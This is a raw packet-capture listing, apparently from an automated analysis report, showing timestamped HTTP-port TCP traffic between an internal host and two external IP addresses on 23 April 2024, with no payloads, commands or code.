Apr 23, 2024 09:38:10.673078060 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.673085928 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.673100948 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.673105955 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.673124075 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.673155069 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.673192978 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.673208952 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.673224926 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.673249960 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.673273087 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.673320055 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.673336983 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.673356056 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.673372030 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.673379898 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.673388958 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.673403025 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.673405886 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.673423052 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.673429966 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.673441887 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.673455954 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.673459053 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.673475981 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.673480034 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.673492908 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.673502922 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.673508883 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.673525095 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.673530102 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.673542976 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.673554897 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.673558950 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.673574924 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.673579931 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.673593044 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.673607111 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.673609018 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.673625946 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.673630953 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.673655987 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.673676014 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.673677921 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.673692942 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.673711061 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.673719883 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.673727989 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.673737049 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.673743963 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.673752069 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.673760891 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.673770905 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.673779964 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.673789024 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.673794985 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.673804998 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.673811913 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.673825026 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.673827887 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.673840046 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.673845053 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.673860073 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.673863888 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.673871040 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.673882008 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.673887968 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.673899889 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.673907042 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.673916101 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.673924923 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.673933029 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.673948050 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.673949003 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.673958063 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.673968077 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.673978090 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.673984051 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.673996925 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.674014091 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.674025059 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.856344938 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.856369972 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.856385946 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.856401920 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.856416941 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.856434107 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.856450081 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.856466055 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.856482029 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.856497049 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.856512070 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.856512070 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.856527090 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.856543064 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.856559038 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.856574059 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.856590033 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.856590033 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.856606007 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.856621981 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.856631994 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.856632948 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.856637955 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.856652975 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.856659889 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.856674910 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.856690884 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.856707096 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.856720924 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.856722116 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.856738091 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.856754065 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.856755972 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.856770039 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.856785059 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.856785059 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.856786966 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.856802940 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.856817961 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.856822968 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.856832981 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.856848955 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.856852055 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.856868029 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.856884003 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.856909037 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.856914997 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.856925964 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.856940985 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.856957912 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.856961966 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.856961966 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.856973886 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.856991053 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.857007027 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.857023001 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.857032061 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.857032061 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.857045889 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.857060909 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.857076883 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.857093096 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.857100964 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.857100964 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.857109070 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.857125044 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.857141018 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.857156038 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.857156038 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.857158899 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.858762026 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.858778000 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.858793020 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.858808994 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.858824968 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.858834028 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.858834028 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.858840942 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.858859062 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.858875990 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.858877897 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.858877897 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.858921051 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.858937025 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.858947992 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.858952999 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.858968973 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.858983040 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.858983994 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859000921 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859015942 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859030962 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859031916 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.859031916 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.859046936 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859062910 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859077930 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859093904 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859102011 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.859102011 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.859110117 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859124899 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859141111 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859157085 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859162092 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.859162092 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.859173059 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859188080 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859204054 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859219074 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859220028 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.859220028 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.859235048 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859251022 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859266996 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859282017 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859291077 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.859291077 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.859297991 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859313965 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859329939 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859344959 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.859344959 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.859345913 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859361887 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859376907 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859392881 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859405041 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.859407902 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859425068 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859441042 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859447956 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.859447956 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.859457016 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859472036 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859487057 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859502077 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859503984 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.859503984 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.859518051 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859534979 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859549999 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859565020 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859575033 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.859581947 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859597921 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859606028 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.859606028 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.859613895 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859630108 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859644890 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859661102 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859673023 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.859673023 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.859677076 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859693050 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859709024 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859724045 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859725952 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.859725952 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.859740019 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859755039 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859766006 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.859770060 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859785080 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859802008 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.859802961 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859817982 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859829903 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.859833956 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859848976 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859864950 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859880924 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859889984 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.859889984 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.859898090 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859914064 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859926939 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.859930038 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859945059 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859960079 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859972000 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.859976053 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.859992981 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860008001 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860008001 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.860008001 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.860023022 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860038996 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860054970 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860058069 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.860070944 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860081911 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.860086918 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860111952 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860120058 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.860126972 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860142946 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860158920 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860173941 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860183001 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.860183001 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.860189915 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860205889 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860220909 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860235929 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860249996 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.860249996 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.860251904 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860268116 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860282898 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860297918 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860300064 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.860300064 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.860312939 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860328913 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860344887 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860359907 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860363960 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.860363960 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.860374928 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860392094 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860408068 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860423088 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860430002 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.860430002 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.860439062 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860455036 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860469103 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860481024 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.860483885 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860500097 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860516071 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860517979 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.860517979 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.860532045 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860544920 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.860548019 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860563040 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860578060 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860590935 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.860594034 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860610008 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860625029 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860641003 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860656023 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860656977 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.860656977 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.860671997 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860687971 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860703945 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860707045 CEST	49735	80	192.168.2.4	185.172.128.228
